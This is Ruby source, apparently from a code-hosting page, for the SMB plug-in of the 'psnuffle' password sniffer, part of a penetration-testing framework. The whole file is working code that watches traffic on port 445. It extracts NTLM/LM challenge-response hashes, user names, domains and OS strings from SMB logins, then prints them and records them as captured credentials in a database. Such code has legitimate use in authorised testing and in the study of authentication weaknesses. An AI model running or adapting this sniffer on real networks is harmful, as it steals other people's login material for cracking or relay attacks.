203 lines
6.9 KiB
Ruby
203 lines
6.9 KiB
Ruby
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# Psnuffle password sniffer add-on class for smb
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# part of psnuffle sniffer auxiliary module
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#
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# When db is available reports go into db
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#
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#Memo :
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# Authentification without extended security set
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#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 0
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#2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 0 and contains server challenge (aka encryption key) and wordcount = 17
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#3) client -> server : smb_setup_andx (0x73) : contains lm/ntlm hashes and wordcount = 13 (not 0)
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#4) server -> client : smb_setup_andx (0x73) : if status = success then authentification ok
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# Authentification with extended security set
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#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 1
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#2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 1
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#3) client -> server : smb_setup_andx (0x73) : contains an ntlm_type1 message
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#4) server -> client : smb_setup_andx (0x73) : contains an ntlm_type2 message with the server challenge
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#5) client -> server : smb_setup_andx (0x73) : contains an ntlm_type3 message with the lm/ntlm hashes
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#6) server -> client : smb_setup_andx (0x73) : if status = success then authentification = ok
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class SnifferSMB < BaseProtocolParser
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def register_sigs
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self.sigs = {
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:setupandx => /\xffSMB\x73/,
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:negotiate => /\xffSMB\x72/,
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}
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end
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def parse(pkt)
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# We want to return immediatly if we do not have a packet which is handled by us
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return unless pkt.is_tcp?
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return if (pkt.tcp_sport != 445 and pkt.tcp_dport != 445)
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s = find_session((pkt.tcp_sport == 445) ? get_session_src(pkt) : get_session_dst(pkt))
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self.sigs.each_key do |k|
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# There is only one pattern per run to test
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matched = nil
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matches = nil
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if(pkt.payload =~ self.sigs[k])
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matched = k
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matches = $1
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end
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case matched
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when :negotiate
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payload = pkt.payload.dup
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wordcount = payload[36,1].unpack("C")[0]
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#negotiate response
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if wordcount == 17
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flags2 = payload[14,2].unpack("v")[0]
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#the server challenge is here
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if flags2 & 0x800 == 0
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s[:challenge] = payload[73,8].unpack("H*")[0]
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s[:last] = :negotiate
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end
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end
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when :setupandx
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payload = pkt.payload.dup
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ntlmpayload = payload[/NTLMSSP\x00.*/m]
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if ntlmpayload
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ntlmmessagetype = ntlmpayload[8,4].unpack("V")[0]
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case ntlmmessagetype
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when 2 # challenge
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s[:challenge] = ntlmpayload[24,8].unpack("H*")[0]
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s[:last] = :ntlm_type2
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when 3 # auth
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if s[:last] == :ntlm_type2
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lmlength = ntlmpayload[12, 2].unpack("v")[0]
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lmoffset = ntlmpayload[16, 2].unpack("v")[0]
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ntlmlength = ntlmpayload[20, 2].unpack("v")[0]
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ntlmoffset = ntlmpayload[24, 2].unpack("v")[0]
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domainlength = ntlmpayload[28, 2].unpack("v")[0]
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domainoffset = ntlmpayload[32, 2].unpack("v")[0]
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usrlength = ntlmpayload[36, 2].unpack("v")[0]
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usroffset = ntlmpayload[40, 2].unpack("v")[0]
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s[:lmhash] = ntlmpayload[lmoffset, lmlength].unpack("H*")[0] || ''
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s[:ntlmhash] = ntlmpayload[ntlmoffset, ntlmlength].unpack("H*")[0] || ''
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s[:domain] = ntlmpayload[domainoffset, domainlength].gsub("\x00","") || ''
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s[:user] = ntlmpayload[usroffset, usrlength].gsub("\x00","") || ''
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secbloblength = payload[51,2].unpack("v")[0]
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names = (payload[63..-1][secbloblength..-1] || '').split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
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s[:peer_os] = names[0] || ''
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s[:peer_lm] = names[1] || ''
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s[:last] = :ntlm_type3
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end
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end
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else
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wordcount = payload[36,1].unpack("C")[0]
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#authentification without smb extended security (smbmount, msf server capture)
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if wordcount == 13 and s[:last] == :negotiate
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lmlength = payload[51,2].unpack("v")[0]
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ntlmlength = payload[53,2].unpack("v")[0]
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s[:lmhash] = payload[65,lmlength].unpack("H*")[0]
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s[:ntlmhash] = payload[65 + lmlength, ntlmlength].unpack("H*")[0]
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names = payload[Range.new(65 + lmlength + ntlmlength,-1)].split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
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s[:user] = names[0]
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s[:domain] = names[1]
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s[:peer_os] = names[2]
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s[:peer_lm] = names[3]
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s[:last] = :smb_no_ntlm
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else
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#answer from server
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if s[:last] == :ntlm_type3 or s[:last] == :smb_no_ntlm
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#do not output anonymous/guest logging
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unless s[:user] == '' or s[:ntlmhash] == '' or s[:ntlmhash] =~ /^(00)*$/m
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#set lmhash to a default value if not provided
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s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m
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s[:lmhash] = "00" * 24 if s[:lmhash] == s[:ntlmhash]
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smb_status = payload[9,4].unpack("V")[0]
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if smb_status == 0 # success
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ntlm_ver = detect_ntlm_ver(s[:lmhash],s[:ntlmhash])
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logmessage =
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"#{ntlm_ver} Response Captured in session : #{s[:session]} \n" +
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"USER:#{s[:user]} DOMAIN:#{s[:domain]} OS:#{s[:peer_os]} LM:#{s[:peer_lm]}\n" +
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"SERVER CHALLENGE:#{s[:challenge]} " +
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"\nLMHASH:#{s[:lmhash]} " +
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"\nNTHASH:#{s[:ntlmhash]}\n"
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print_status(logmessage)
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src_ip = s[:host]
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dst_ip = s[:session].split("-")[1].split(":")[0]
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# know this is ugly , last code added :-/
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smb_db_type_hash = case ntlm_ver
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when "NTLMv1" then "smb_netv1_hash"
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when "NTLM2_SESSION" then "smb_netv1_hash"
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when "NTLMv2" then "smb_netv2_hash"
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end
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# DB reporting
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report_auth_info(
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:host => dst_ip,
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:port => 445,
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:sname => 'smb',
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:user => s[:user],
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:pass => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge],
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:type => smb_db_type_hash,
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:proof => "DOMAIN=#{s[:domain]} OS=#{s[:peer_os]}",
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:active => true
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)
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report_note(
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:host => src_ip,
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:type => "smb_peer_os",
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:data => s[:peer_os]
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) if (s[:peer_os] and s[:peer_os].strip.length > 0)
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report_note(
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:host => src_ip,
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:type => "smb_peer_lm",
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:data => s[:peer_lm]
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) if (s[:peer_lm] and s[:peer_lm].strip.length > 0)
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report_note(
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:host => src_ip,
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:type => "smb_domain",
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:data => s[:domain]
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) if (s[:domain] and s[:domain].strip.length > 0)
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end
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end
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end
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s[:last] = nil
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sessions.delete(s[:session])
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end
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end
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when nil
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# No matches, no saved state
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else
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sessions[s[:session]].merge!({k => matches})
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end # end case matched
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end # end of each_key
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end # end of parse
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#ntlmv1, ntlmv2 or ntlm2_session
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def detect_ntlm_ver(lmhash, ntlmhash)
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return "NTLMv2" if ntlmhash.length > 48
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if lmhash.length == 48 and ntlmhash.length == 48
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if lmhash != "00" * 24 and lmhash[16,32] == "00" * 16
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return "NTLM2_SESSION"
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else
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return "NTLMv1"
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end
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else
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raise RuntimeError, "Unknow hash type"
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end
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end
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end
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